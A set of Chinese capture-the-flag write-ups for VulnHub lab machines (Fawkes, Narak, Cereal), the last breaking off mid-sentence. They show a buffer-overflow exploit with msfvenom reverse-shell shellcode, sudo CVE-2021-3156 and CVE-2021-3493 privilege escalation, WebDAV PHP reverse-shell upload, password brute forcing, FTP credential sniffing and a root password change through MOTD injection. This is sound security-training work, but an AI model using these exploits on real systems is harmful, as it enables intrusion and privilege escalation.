# 靶机: ```php https://download.vulnhub.com/harrypotter/Fawkes.ova ``` 这是个哈利波特系列的靶机,作者和本人都非常喜欢这个系列,因为它的漏洞和利用点都设计得很巧妙。 # 难度: - 高 # 目标: - 取得2个root权限 + 3 个flag # 涉及攻击方法: - 主机发现 - 端口扫描 - Web信息收集 - FTP服务攻击 - 缓冲区溢出 - 模糊测试 - 漏洞利用代码编写 - 流量抓包分析 - 堆溢出漏洞攻击 - Metasploit(MSF) - 手动修复EXP代码 - 本地提权 # 参考资料 - [CVE-2021-3156: Heap-Based Buffer Overflow in Sudo (Baron Samedit) | Qualys Security Blog](https://blog.qualys.com/vulnerabilities-threat-research/2021/01/26/cve-2021-3156-heap-based-buffer-overflow-in-sudo-baron-samedit) - https://github.com/worawit/CVE-2021-3156 # 主机发现 `sudo arp-scan -l`  # 端口扫描和服务发现 `sudo nmap -p- 192.168.0.103`  `sudo nmap -p21,22,80,2222,9898 -sV -sC 192.168.0.103` ```php ┌──(kali㉿DESKTOP-MLG4CQ2)-[~] └─$ sudo nmap -p21,22,80,2222,9898 -sV -sC 192.168.0.103 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-17 16:14 CST Nmap scan report for 192.168.0.103 Host is up (0.0011s latency). PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 | ftp-anon: Anonymous FTP login allowed (FTP code 230) |_-rwxr-xr-x 1 0 0 705996 Apr 12 2021 server_hogwarts | ftp-syst: | STAT: | FTP server status: | Connected to ::ffff:192.168.0.102 | Logged in as ftp | TYPE: ASCII | No session bandwidth limit | Session timeout in seconds is 300 | Control connection is plain text | Data connections will be plain text | At session startup, client count was 4 | vsFTPd 3.0.3 - secure, fast, stable |_End of status 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 48:df:48:37:25:94:c4:74:6b:2c:62:73:bf:b4:9f:a9 (RSA) | 256 1e:34:18:17:5e:17:95:8f:70:2f:80:a6:d5:b4:17:3e (ECDSA) |_ 256 3e:79:5f:55:55:3b:12:75:96:b4:3e:e3:83:7a:54:94 (ED25519) 80/tcp open http Apache httpd 2.4.38 ((Debian)) |_http-title: Site doesn't have a title (text/html). |_http-server-header: Apache/2.4.38 (Debian) 2222/tcp open ssh OpenSSH 8.4 (protocol 2.0) | ssh-hostkey: | 3072 c4:1d:d5:66:85:24:57:4a:86:4e:d9:b6:00:69:78:8d (RSA) | 256 0b:31:e7:67:26:c6:4d:12:bf:2a:85:31:bf:21:31:1d (ECDSA) |_ 256 9b:f4:bd:71:fa:16:de:d5:89:ac:69:8d:1e:93:e5:8a (ED25519) 9898/tcp open monkeycom? | fingerprint-strings: | GenericLines, GetRequest, HTTPOptions, RTSPRequest: | Welcome to Hogwart's magic portal | Tell your spell and ELDER WAND will perform the magic | Here is list of some common spells: | Wingardium Leviosa | Lumos | Expelliarmus | Alohomora | Avada Kedavra | Enter your spell: Magic Output: Oops!! you have given the wrong spell | Enter your spell: | NULL: | Welcome to Hogwart's magic portal | Tell your spell and ELDER WAND will perform the magic | Here is list of some common spells: | Wingardium Leviosa | Lumos | Expelliarmus | Alohomora | Avada Kedavra |_ Enter your spell: 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port9898-TCP:V=7.94SVN%I=7%D=8/17%Time=66C05BD6%P=x86_64-pc-linux-gnu%r SF:(NULL,DE,"Welcome\x20to\x20Hogwart's\x20magic\x20portal\nTell\x20your\x SF:20spell\x20and\x20ELDER\x20WAND\x20will\x20perform\x20the\x20magic\n\nH SF:ere\x20is\x20list\x20of\x20some\x20common\x20spells:\n1\.\x20Wingardium SF:\x20Leviosa\n2\.\x20Lumos\n3\.\x20Expelliarmus\n4\.\x20Alohomora\n5\.\x SF:20Avada\x20Kedavra\x20\n\nEnter\x20your\x20spell:\x20")%r(GenericLines, SF:125,"Welcome\x20to\x20Hogwart's\x20magic\x20portal\nTell\x20your\x20spe SF:ll\x20and\x20ELDER\x20WAND\x20will\x20perform\x20the\x20magic\n\nHere\x SF:20is\x20list\x20of\x20some\x20common\x20spells:\n1\.\x20Wingardium\x20L SF:eviosa\n2\.\x20Lumos\n3\.\x20Expelliarmus\n4\.\x20Alohomora\n5\.\x20Ava SF:da\x20Kedavra\x20\n\nEnter\x20your\x20spell:\x20Magic\x20Output:\x20Oop SF:s!!\x20you\x20have\x20given\x20the\x20wrong\x20spell\n\nEnter\x20your\x SF:20spell:\x20")%r(GetRequest,125,"Welcome\x20to\x20Hogwart's\x20magic\x2 SF:0portal\nTell\x20your\x20spell\x20and\x20ELDER\x20WAND\x20will\x20perfo SF:rm\x20the\x20magic\n\nHere\x20is\x20list\x20of\x20some\x20common\x20spe SF:lls:\n1\.\x20Wingardium\x20Leviosa\n2\.\x20Lumos\n3\.\x20Expelliarmus\n SF:4\.\x20Alohomora\n5\.\x20Avada\x20Kedavra\x20\n\nEnter\x20your\x20spell SF::\x20Magic\x20Output:\x20Oops!!\x20you\x20have\x20given\x20the\x20wrong SF:\x20spell\n\nEnter\x20your\x20spell:\x20")%r(HTTPOptions,125,"Welcome\x SF:20to\x20Hogwart's\x20magic\x20portal\nTell\x20your\x20spell\x20and\x20E SF:LDER\x20WAND\x20will\x20perform\x20the\x20magic\n\nHere\x20is\x20list\x SF:20of\x20some\x20common\x20spells:\n1\.\x20Wingardium\x20Leviosa\n2\.\x2 SF:0Lumos\n3\.\x20Expelliarmus\n4\.\x20Alohomora\n5\.\x20Avada\x20Kedavra\ SF:x20\n\nEnter\x20your\x20spell:\x20Magic\x20Output:\x20Oops!!\x20you\x20 SF:have\x20given\x20the\x20wrong\x20spell\n\nEnter\x20your\x20spell:\x20") SF:%r(RTSPRequest,125,"Welcome\x20to\x20Hogwart's\x20magic\x20portal\nTell SF:\x20your\x20spell\x20and\x20ELDER\x20WAND\x20will\x20perform\x20the\x20 SF:magic\n\nHere\x20is\x20list\x20of\x20some\x20common\x20spells:\n1\.\x20 SF:Wingardium\x20Leviosa\n2\.\x20Lumos\n3\.\x20Expelliarmus\n4\.\x20Alohom SF:ora\n5\.\x20Avada\x20Kedavra\x20\n\nEnter\x20your\x20spell:\x20Magic\x2 SF:0Output:\x20Oops!!\x20you\x20have\x20given\x20the\x20wrong\x20spell\n\n SF:Enter\x20your\x20spell:\x20"); MAC Address: 08:00:27:80:17:B1 (Oracle VirtualBox virtual NIC) Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 100.01 seconds ``` 发现21端口开着`vsftp`服务,版本是`vsftp 3.0.3`,漏洞库搜索一下 `searchsploit vsftp 3.0.3`发现一个远程拒绝服务攻击脚本,就是我们可以把它打死,但是不能利用它去控制目标系统,那对我们没有什么帮助  发现它的`FTP`服务可以匿名登录,并且存在一个文件叫`server_hogwarts`,霍格沃兹就是哈利波特学习魔法的学校`hogwart`  并且发现奇怪的是服务器开启了两个SSH服务,版本不一样,端口也不一样,待会再看看怎么个事  `9898`端口开启的服务`nmap`不认识,就随便给了个名字,后面显示的内容是欢迎来到霍格沃兹,选择自己喜欢的魔法吧!  - Wingardium Leviosa(漂浮升空)悬浮咒,可以让物体飞起来 - Lumos(荧光闪耀) - Expelliarmus(除你武器) - Alohomora(开锁咒) - Avada Kedavra(索命咒)阿瓦达啃大瓜 `sudo dirsearch -u http://192.168.0.103`扫描目录没有什么发现  那么我们匿名登录一下`FTP`服务器 `ftp 192.168.1.103`账号为:anonymous,密码为空 登录之后把`server_hogwarts`给`get`下来慢慢看,然后想`cd`到其他的目录却失败了  `file server_hogwarts`发现他是一个可执行程序,给它赋予执行权限然后执行看看有什么效果  `ps -aux | grep server`看到运行了进程 `ss -pantu | grep server`看到在本机开启了监听端口  `nc 127.0.0.1 9898`NC上去看看运行效果,就是一些个咒语实现的效果  那这个靶机的意图也就非常明显了,肯定是这个程序本身,它存在某种漏洞,但是由于它是一个二进制的可执行程序,所以我们没办法查看它的源码,从源码审计,那就只能做动态调试,做`FUZZ`模糊测试 进行测试之前,还得先关掉`kali`本机的`alsr`功能,`alsr`是一种内存地址随机化的安全技术, 不关掉的话会导致我们自己挖漏洞的时候挖不出来,每次内存地址都会变 我们需要把`2`改成`0`,这样就会关闭它  `sudo apt install edb-debugger`安装一个有图形化界面的友好一点的调试工具 点击`Attach`  搜索`server`  然后点击`run`  这样就通过调试器连接上了服务端程序 接下来就需要对程序发起一些注入的探测请求 向唯一的数据提交点提交`500`个大写字母`A` `python -c "print('A'*500)"`   然后调试器直接报错,说`EIP`的内存地址被覆盖了,那就99%确定这个地方存在缓冲器溢出漏洞   `msf-pattern_create -l 500`生成500个内容不重复的字节序列  在提交数据之前重启一下`server_hogwarts`服务和`edb`工具,否则可能影响我们队漏洞挖掘结果的判断  用小工具`msf-pattern_offset -l 500 -q 64413764`查看`EIP`寄存器当中注入的字符在这`500`个字符中的哪个位置里面  编写一个`EXP`进行测试 ```python #!/usr/bin/python import sys,socket payload = 'A'*112 + 'B'*4 + 'C'*32 try: s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(('127.0.0.1',9898)) s.send((payload)) s.close() except: print("Wrong!") sys.exit() ``` 在运行脚本提交数据之前重启一下`server_hogwarts`服务和`edb`工具,保证我们测试时,运行环境是一个干净的环境 运行代码: 报错弹窗提示,如果想进一步查看他的情况请按`F7,F8,F9`来查看。其实你可以再次点击▶️让程序在报错的前提下继续运行,因为这个弹窗只是提示你`server_hogwarts`出现了故障但是并不代表其不能继续运行。 参考博客:[https://www.cnblogs.com/cchl/articles/vulnhub_fawkes.html#%E7%BC%93%E5%86%B2%E5%8C%BA%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E%E6%B5%8B%E8%AF%95](https://www.cnblogs.com/cchl/articles/vulnhub_fawkes.html#%E7%BC%93%E5%86%B2%E5%8C%BA%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E%E6%B5%8B%E8%AF%95)   # 反弹shell 用插件`OpcodeSearcher`找到跳到`ESP`的指令    `jmp esp`,跳到`ESP`的内存地址是`0x08049d55`,放到`exp`中的4个`B`的位置那里 ```python msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.0.102 LPORT=4444 -b "\x00" -f py ``` 生成一串反弹shell的代码 - -b 参数去掉坏字符“\x00”,因为程序运行到这个字符的话就会以为结束了,从而停止运行 - -f 参数生成python格式的代码  ```python #!/usr/bin/python import sys,socket buf = b"" buf += b"\xdb\xda\xba\x40\xb5\xb0\xf2\xd9\x74\x24\xf4\x5b" buf += b"\x31\xc9\xb1\x12\x31\x53\x17\x03\x53\x17\x83\xab" buf += b"\x49\x52\x07\x1a\x69\x64\x0b\x0f\xce\xd8\xa6\xad" buf += b"\x59\x3f\x86\xd7\x94\x40\x74\x4e\x97\x7e\xb6\xf0" buf += b"\x9e\xf9\xb1\x98\xe0\x52\x41\x3e\x89\xa0\x42\xaf" buf += b"\x15\x2c\xa3\x7f\xc3\x7e\x75\x2c\xbf\x7c\xfc\x33" buf += b"\x72\x02\xac\xdb\xe3\x2c\x22\x73\x94\x1d\xeb\xe1" buf += b"\x0d\xeb\x10\xb7\x9e\x62\x37\x87\x2a\xb8\x38" payload = b'A'*112 + b'\x55\x9d\x04\x08' + b'\x90'*32 + buf """ 这里需要注意三点: 1,EIP的注入位置的JUMP ESP的地址需要进行字节的颠倒,因为靶机为小端。这个细节非常非常重要,只要是缓冲区溢出漏洞都需要注意这一点 2,'\x90'的添加,为了防止恶意代码举例ESP起始位置太近导致的执行异常,一般添加该字节来让CPU划过该命令 3,都要用b''二进制来显示 """ try: s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(('127.0.0.1',9898)) s.send((payload)) s.close() except: print("Wrong!") sys.exit() ``` 重启运行服务,`nc`开启监听,执行脚本即可反弹shell成功    这是得到的本机`kali`的`shell`,所以我们需要修改代码中的`IP`地址,来对靶机发起攻击   再次运行脚本获得`shell`   按照惯例升级一下`shell`,但是没有`python`,也没有`bash`,那就只能用`/bin/sh -i`  在当前目录下发现一个密码`HarrYp0tter@Hogwarts123`,想起前面信息收集的时候有两个`ssh`服务开启着  `ssh harry@192.168.0.103 -p 2222`,登录上去发现还是`harry`,还有`IP`地址是`172.17.0.2`,和靶机IP地址`192.168.0.103`不一样  `ls / -la`查看根目录的文件,发现`.dockerenv`,很明显是一个`docker`容器  # 信息收集:  发现`flag`文件`horcrux1.txt`,**魂器** (**Horcrux**)是[黑巫师](https://harrypotter.fandom.com/zh/wiki/%E9%BB%91%E5%B7%AB%E5%B8%88)为了使自己长生不死而制造出来的用于储藏灵魂碎片的物品 查看一下这两个文件,第一个说哈利波特被伏地魔摧毁了,`note.txt`文件显示有人在一直尝试登录`FTP`服务器但是没成功,我们可以通过流量抓包工具来进行分析它  由于靶机只是一个命令行界面,所以我们用不了`wireShark`,只能用最原始的`tcpdump`这个命令 `tcpdump -i eth0 port 21`只对21端口进行抓包,等待大概一分钟左右的时间才有流量产生  发现用户名和密码:`neville``bL!Bsg3k`,尝试`SSH`登录,发现是真实的靶机(由于我网络出了点问题,所以靶机IP从103变成104了)  内核版本和`sudo`版本都与`CVE-2021-3156`中的一致  可以用以下这段代码验证漏洞是否存在`sudoedit -s '\' `perl -e 'print "A" x 65536'``,输入命令有报错,说明漏洞存在  利用`exp`脚本进行提权,具体是`Github`仓库中的`exploit_nss.py`这个文件  靶机上的`sudo`位置在`/usr/local/bin/sudo`  修改`exploit_nss.py`代码中的`sudo`位置  将脚本通过`nc`发送到靶机上 靶机`nc -lvnp 4444 > exp.py`,将`nc`接收到的信息保存为`exp.py`文件 本机`nc 192.168.0.104 4444 < exploit_nss.py -w 1`将文件传输过去,`-w 1`参数意思是当文件传输结束后隔一秒钟就断开连接   然后在靶机输入`python3 exp.py`就获得了`root`权限  获取最后的两个`flag`  纳吉尼(伏地魔身边的那条蛇)被纳威 隆巴顿(剑圣)给摧毁了   伏地魔被哈利波特打败了! # 打靶完毕!
打靶记录18——narak
<h1 id="nfNLh">靶机:</h1> https://download.vulnhub.com/ha/narak.ova 推荐使用 VM Ware 打开靶机 <h1 id="Qhoba">难度:中</h1> <h1 id="XYpk4">目标:取得 root 权限 + 2 Flag</h1> <h1 id="SdGnB">攻击方法:</h1> + 主机发现 + 端口扫描 + 信息收集 + 密码字典定制 + 爆破密码 + Webdav 漏洞 + PUT 方法上传 + BF 语言解码 + MOTD 注入 + CVE-2021-3493 提权 <h1 id="mHX68">主机发现</h1> `arp-scan -l`  尝试发现是`192.168.31.26` <h1 id="td2p1">端口扫描和服务发现</h1> `nmap -p- 192.168.31.26`  `nmap -p22,80 -sV -sC 192.168.31.26`  发现开启了 Apache 的服务,然后可能是 Ubuntu 系统 按照惯例查看 80 端口的 Web 页面,发现是一个恐怖的地狱的图片,地狱的大门由一个有着三个头的大狗来看守着  <h1 id="e5XsS">目录扫描</h1> `dirsearch -u http://192.168.31.26/` 发现了 Webdav 路径 + Webdav 是一种 Web 技术,可以实现类似于 FTP 那样的传输文件的功能 + 401状态码表示“未授权”(Unauthorized)。这通常意味着请求需要用户进行身份验证  访问 Webdav 路径发现果然需要认证  `dirsearch -u http://192.168.31.26/ -f -e html,txt,php -w /usr/share/wordlists/dirb/common.txt` 再扫描一下 + `dirsearch`:调用 dirsearch 工具。 + `-u http://192.168.31.26/`:指定目标 URL,也就是扫描的目标网站。 + `-f`:强制显示所有扫描结果,包括状态码为 404(未找到)的结果。 + `-e html,txt,php`:指定要扫描的文件扩展名列表,分别为 `.html`, `.txt`, 和 `.php`。 + `-w /usr/share/wordlists/dirb/common.txt`:指定字典文件路径,即使用 `common.txt` 作为词列表来进行扫描。这个文件通常包含常见的目录和文件名。 发现了一个 `/tips.txt` 文件   要打开地狱的大门就查看这个文件 creds.txt,但是访问了没有,应该是一个误导  <h1 id="rLm8v">暴力破解</h1> + 密码字典定制 + cewl 是一个用于从指定 URL 提取单词列表的工具,通常用于创建字典文件以供密码破解等任务使用。 `cewl http://192.168.31.26/ -w dict.txt`  `hydra -L dict.txt -P dict.txt 192.168.31.26 http-get /webdav -v` 成功获得一个账号密码 `yamdoot` `Swarg`  通过 webdav 的请求方式,通过 PUT 方法,通过 webdav 的服务,可以将本地的 Webshell 上传上去 `davtest -url http://192.168.31.26/webdav/ -auth yamdoot:Swarg` + davtest 是一个用于测试 WebDAV 服务上文件上传和执行漏洞的工具。 + 执行这个命令后,davtest 将会尝试连接到指定的 WebDAV 服务地址,并使用提供的认证信息进行登录。接着它会尝试上传各种类型的文件,并检查这些文件是否可以成功上传和执行,以评估 WebDAV 服务的安全性。  测试上传了很多文件在路径下都 SUCCEED 成功了 PHP 可以成功解析,说明目标服务器是 PHP 的环境  <h1 id="EaKg4">反弹Shell</h1> 直接在 kali 里面用自带的 Webshell上传上去 `cp /usr/share/webshells/php/php-reverse-shell.php .`  代码里修改,改成 kali 本机的IP   `davtest -url http://192.168.1.5/webdav/ -auth yamdoot:Swarg -uploadfile php-reverse-shell.php -uploadloc rev2.php` 上传成功(我网络环境改变,所以重新上传了 rev2.php)  刷新一下 webdav 路径就看见 rev.php 了  `nc -lvnp 1234` 反弹shell  `bash -i` 或者 `python3 -c "import pty;pty.spawn('/bin/bash')"` 升级一下 shell  <h1 id="NUzsc">提权</h1> `find / -type f -user root -perm -ug=x,o=w -exec ls -l '{}' \; 2>/dev/null`这个命令用来查找根目录及其子目录中所有属于root用户的文件,这些文件具有如下权限:用户和组可以执行,其他用户可以写入。 1. `find /`: 这个命令表示在根目录(/)下进行查找。 2. `-type f`: 这个选项表示只查找文件,不包括目录或其他类型的文件系统对象。 3. `-user root`: 这个选项表示只查找属于root用户的文件。 4. `-perm -ug=x,o=w`: 这个选项表示查找文件权限中,用户组(u)和群组(g)具有执行权限(x),而其他用户(o)具有写权限(w)的文件。 5. `-exec ls -l '{}' \;`: 这个选项表示对每个符合条件的文件执行`ls -l`命令,以长格式列出文件的详细信息。`'{}'`是占位符,表示当前找到的文件名。 6. `2>/dev/null`: 这个部分将标准错误输出重定向到/dev/null,以便忽略错误消息。  `cat /mnt/hell.sh` 然后发现这是一串 Brainfuck 编码 使用在线网址 https://www.splitbrain.org/services/ook 解码,获得 `chitragupt` 字符串  猜测它是一个密码,尝试登录 inferno 账户成功  收获第一个 flag  <h1 id="eMJ0n">方法一:CVE-2021-3493</h1> 漏洞利用代码: https://github.com/inspiringz/CVE-2021-3493/tree/master `gcc exp.c -o exp` 编译好之后上传到目标服务器的主目录 `scp exp inferno@192.168.1.5:~/` + `:` 符号将用户名和远程主机地址与目标路径分隔开。 + `~/` 是目标路径,表示远程主机上用户 `inferno` 的主目录。`~` 是 Unix/Linux 系统中表示用户主目录的快捷方式。  我的 kali 版本太高了,GCC的版本也是  这个错误信息表明你尝试执行的二进制文件 ./exp 依赖于 libc.so.6 库的一个更高版本(GLIBC_2.34),而当前系统上的 libc.so.6 版本较低,无法满足这个依赖。 那我直接把编译好的传过去算了    <h1 id="P43DC">方法二:MOTD 注入</h1> + motd 是 message of the day 的缩写 重新运行 find / -type f -user root -perm -ug=x,o=w -exec ls -l '{}' \; 2>/dev/null 看看,发现其他的都是在 /etc/update-motd.d/ 目录下的,都是一些脚本  vi /etc/update-motd.d/00-header 添加 echo 'root:123' | chpasswd 修改 root 账号的密码  重新登录的时候,那个脚本(/etc/update-motd.d/00-header)会以root账号的权限来执行  <h1 id="v1rIz">打靶完毕!</h1>
打靶记录21——Cereal
<h1 id="zqcE7">靶机:</h1> https://download.vulnhub.com/cereal/Cereal.ova <h1 id="bDnLG">难度:</h1> + 高(最接近真实场景) <h1 id="OSysh">目标:</h1> + 取得 root 权限 + 2 Flag <h1 id="vIBmA">攻击方法:</h1> + 主机发现 + 端口扫描 + 信息收集 + 路径枚举 + 密码爆破 + 域名解析 + 匿名FTP + 子域名爆破 + 源码审计 + 反序列化漏洞 + 进程监视 + 本地提权 <h1 id="mHX68">主机发现</h1> `sudo arp-scan -l`  <h1 id="td2p1">端口扫描和服务发现</h1> `sudo nmap -p- 192.168.0.102`扫描全端口,发现这台靶机开启了很多端口  `sudo nmap -p21,22,80,139,445,3306,11111,22222,33333,33334,44441,44444,55551,55555 -A 192.168.0.102` `**<font style="background-color:rgba(255, 255, 255, 0);">-A</font>**`<font style="background-color:rgba(255, 255, 255, 0);">: 这个选项用于启用高级扫描功能,包括:</font> - <font style="background-color:rgba(255, 255, 255, 0);">操作系统检测:尝试识别目标主机运行的操作系统。</font> - <font style="background-color:rgba(255, 255, 255, 0);">版本检测:识别运行在开放端口上的服务的具体版本。</font> - <font style="background-color:rgba(255, 255, 255, 0);">脚本扫描:使用Nmap Scripting Engine (NSE) 执行一系列脚本以检测漏洞或获得其他信息。</font> - <font style="background-color:rgba(255, 255, 255, 0);">路由跟踪:记录从扫描主机到目标的路径。</font>   ```python ┌──(kali㉿DESKTOP-MLG4CQ2)-[~] └─$ sudo nmap -p21,22,80,139,445,3306,11111,22222,33333,33334,44441,44444,55551,55555 -A 192.168.0.102 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-12 22:13 CST Nmap scan report for 192.168.0.102 Host is up (0.0011s latency). PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 | ftp-syst: | STAT: | FTP server status: | Connected to ::ffff:192.168.0.103 | Logged in as ftp | TYPE: ASCII | No session bandwidth limit | Session timeout in seconds is 300 | Control connection is plain text | Data connections will be plain text | At session startup, client count was 1 | vsFTPd 3.0.3 - secure, fast, stable |_End of status | ftp-anon: Anonymous FTP login allowed (FTP code 230) |_drwxr-xr-x 2 0 0 6 Apr 12 2021 pub 22/tcp open ssh OpenSSH 8.0 (protocol 2.0) | ssh-hostkey: | 3072 00:24:2b:ae:41:ba:ac:52:d1:5d:4f:ad:00:ce:39:67 (RSA) | 256 1a:e3:c7:37:52:2e:dc:dd:62:61:03:27:55:1a:86:6f (ECDSA) |_ 256 24:fd:e7:80:89:c5:57:fd:f3:e5:c9:2f:01:e1:6b:30 (ED25519) 80/tcp open http Apache httpd 2.4.37 (()) |_http-server-header: Apache/2.4.37 () |_http-title: Apache HTTP Server Test Page powered by: Rocky Linux | http-methods: |_ Potentially risky methods: TRACE 139/tcp open tcpwrapped 445/tcp open tcpwrapped 3306/tcp open mysql? | fingerprint-strings: | NULL: |_ Host '192.168.0.103' is not allowed to connect to this MariaDB server 11111/tcp open tcpwrapped 22222/tcp open tcpwrapped |_ssh-hostkey: ERROR: Script execution failed (use -d to debug) 33333/tcp open tcpwrapped 33334/tcp open tcpwrapped 44441/tcp open http Apache httpd 2.4.37 (()) |_http-title: Site doesn't have a title (text/html; charset=UTF-8). | http-methods: |_ Potentially risky methods: TRACE |_http-server-header: Apache/2.4.37 () 44444/tcp open tcpwrapped 55551/tcp open tcpwrapped 55555/tcp open tcpwrapped 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port3306-TCP:V=7.94SVN%I=7%D=11/12%Time=6733626D%P=x86_64-pc-linux-gnu% SF:r(NULL,4C,"H\0\0\x01\xffj\x04Host\x20'192\.168\.0\.103'\x20is\x20not\x2 SF:0allowed\x20to\x20connect\x20to\x20this\x20MariaDB\x20server"); MAC Address: 08:00:27:BD:76:28 (Oracle VirtualBox virtual NIC) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Linux 3.X|4.X OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 OS details: Linux 3.2 - 4.9 Network Distance: 1 hop Service Info: OS: Unix Host script results: |_smb2-time: Protocol negotiation failed (SMB2) TRACEROUTE HOP RTT ADDRESS 1 1.08 ms 192.168.0.102 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 46.41 seconds ``` 发现开启了 `vsftpd 3.0.3`,那么搜索一下有没有已知漏洞可以利用 `searchsploit vsftpd 3.0.3`发现远程拒绝服务攻击的利用脚本,但是对于我们突破边界是没有任何帮助的  <h1 id="vIi9v">匿名 FTP</h1> 开了 21 端口,那么使用 ftp 客户端连接到 IP 地址为 192.168.0.102 的 FTP 服务器  anonymous:你以匿名用户登录,这是一种不需要用户名和密码的常见访问方式 发现服务器上没有任何可以下载的文件,也不能将文件上传上去  nc 上去也提示是非法的命令,所以只能暂时将FTP服务放过了  发现开启了 139 和 445 端口,使用 enum4linux 工具,  enum4linux 是一个用于枚举 Windows 和 Samba 系统信息的工具。它主要用于信息收集和漏洞评估,特别是在渗透测试和安全审计过程中。通过利用 SMB(Server Message Block)协议,enum4linux 能够提取大量有用的信息。 显示 `No reply from 192.168.0.102` 说明没有任何返回信息 那我们只能从 80 和 44441 端口来找突破点了 --- kex --win -s 打不开,暂停了,那就直接在命令行输入 firefox 打开浏览器  源码当中也没有任何有价值的信息 <h1 id="cehf7">信息收集,路径枚举</h1> 那么用爬站工具爬一下 `dirb http://192.168.0.105`   用万能密码的方式也进不去,爆破也没有任何反馈  发现要用 http://cereal.ctf 这个域名才能访问,然后还可能存在 backup 备份文件,如果能拿到备份文件,那么我们可以通过代码审计的方式来发现漏洞 于是接下来先编辑一下我们本机的 hosts 文件 `sudo vi /etc/hosts`  访问 http://192.168.0.105/blog/wp-admin/ 就成功重定向到了Wordpress 的后台登录界面  登录框进行弱口令暴力破解也进不去 用 kali 自带的 wpscan 进行扫描 `wpscan --url http://cereal.ctf/blog -e vt,vp --plugins-detection mixed`  最后也没有发现有价值的信息 那前面有提示说有 backup 备份文件,我们尝试找一下 用工具 dirbuster,用完没有发现备份文件    那我们还是把目光放到 44441 端口上吧,也没跑出什么信息 <h1 id="QUcMH">子域名爆破</h1> 那我们尝试查找子域名  ```xml gobuster dns -d cereal.ctf -r 192.168.31.26:44441 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 256 ``` + <font style="background-color:rgba(255, 255, 255, 0);">dns DNS子域暴力破解模式</font> + <font style="background-color:rgba(255, 255, 255, 0);">-t,--threads int 指定线程数量(默认10)</font> + <font style="background-color:rgba(255, 255, 255, 0);"> -d,--domain string 目标域</font> 找到一个子域名 `secure.cereal.ctf`,添加到 hosts 文件里面   打开发现是经典的命令执行靶场的界面  <h1 id="daKMN">源码审计</h1> Ctrl + U 查看网页代码发现有序列化操作  ```xml function submit_form() { var object = serialize({ipAddress: document.forms["ipform"].ip.value}); object = object.substr(object.indexOf("{"),object.length); object = "O:8:\"pingTest\":1:" + object; document.forms["ipform"].obj.value = object; document.getElementById('ipform').submit(); } ``` <font style="background-color:rgba(255, 255, 255, 0);">这段代码是一个 JavaScript 函数 </font>`<font style="background-color:rgba(255, 255, 255, 0);">submit_form</font>`<font style="background-color:rgba(255, 255, 255, 0);">,用于处理表单提交。下面是对代码的逐行解释:</font> 1. **<font style="background-color:rgba(255, 255, 255, 0);">function submit_form() {</font>**<font style="background-color:rgba(255, 255, 255, 0);"> </font><font style="background-color:rgba(255, 255, 255, 0);">定义一个名为 </font>`<font style="background-color:rgba(255, 255, 255, 0);">submit_form</font>`<font style="background-color:rgba(255, 255, 255, 0);"> 的函数。</font> 2. **<font style="background-color:rgba(255, 255, 255, 0);">var object = serialize({ipAddress: document.forms["ipform"].ip.value});</font>**<font style="background-color:rgba(255, 255, 255, 0);"> </font><font style="background-color:rgba(255, 255, 255, 0);">创建一个对象,包含一个属性 </font>`<font style="background-color:rgba(255, 255, 255, 0);">ipAddress</font>`<font style="background-color:rgba(255, 255, 255, 0);">,其值来自名为 </font>`<font style="background-color:rgba(255, 255, 255, 0);">ipform</font>`<font style="background-color:rgba(255, 255, 255, 0);"> 的表单中的 </font>`<font style="background-color:rgba(255, 255, 255, 0);">ip</font>`<font style="background-color:rgba(255, 255, 255, 0);"> 输入字段。然后,调用 </font>`<font style="background-color:rgba(255, 255, 255, 0);">serialize</font>`<font style="background-color:rgba(255, 255, 255, 0);"> 函数将该对象序列化成字符串。</font> 3. **<font style="background-color:rgba(255, 255, 255, 0);">object = object.substr(object.indexOf("{"), object.length);</font>**<font style="background-color:rgba(255, 255, 255, 0);"> </font><font style="background-color:rgba(255, 255, 255, 0);">获取序列化字符串中第一个 </font>`<font style="background-color:rgba(255, 255, 255, 0);">{</font>`<font style="background-color:rgba(255, 255, 255, 0);"> 字符开始到字符串末尾的部分。这通常是为了确保获取到完整的 JSON 或对象字符串。</font> 4. **<font style="background-color:rgba(255, 255, 255, 0);">object = "O:8:"pingTest":1:" + object;</font>**<font style="background-color:rgba(255, 255, 255, 0);"> </font><font style="background-color:rgba(255, 255, 255, 0);">这行代码将字符串 </font>`<font style="background-color:rgba(255, 255, 255, 0);">"O:8:\"pingTest\":1:"</font>`<font style="background-color:rgba(255, 255, 255, 0);"> 添加到序列化的对象字符串前面。这个格式可能与某种特定的序列化方式有关,通常在 PHP 中用于表示对象。</font> 5. **<font style="background-color:rgba(255, 255, 255, 0);">document.forms["ipform"].obj.value = object;</font>**<font style="background-color:rgba(255, 255, 255, 0);"> </font><font style="background-color:rgba(255, 255, 255, 0);">将处理后的 </font>`<font style="background-color:rgba(255, 255, 255, 0);">object</font>`<font style="background-color:rgba(255, 255, 255, 0);"> 字符串赋值给 </font>`<font style="background-color:rgba(255, 255, 255, 0);">ipform</font>`<font style="background-color:rgba(255, 255, 255, 0);"> 表单中的 </font>`<font style="background-color:rgba(255, 255, 255, 0);">obj</font>`<font style="background-color:rgba(255, 255, 255, 0);"> 字段。这意味着在提交表单时,这个字段将包含处理后的数据。</font> 6. **<font style="background-color:rgba(255, 255, 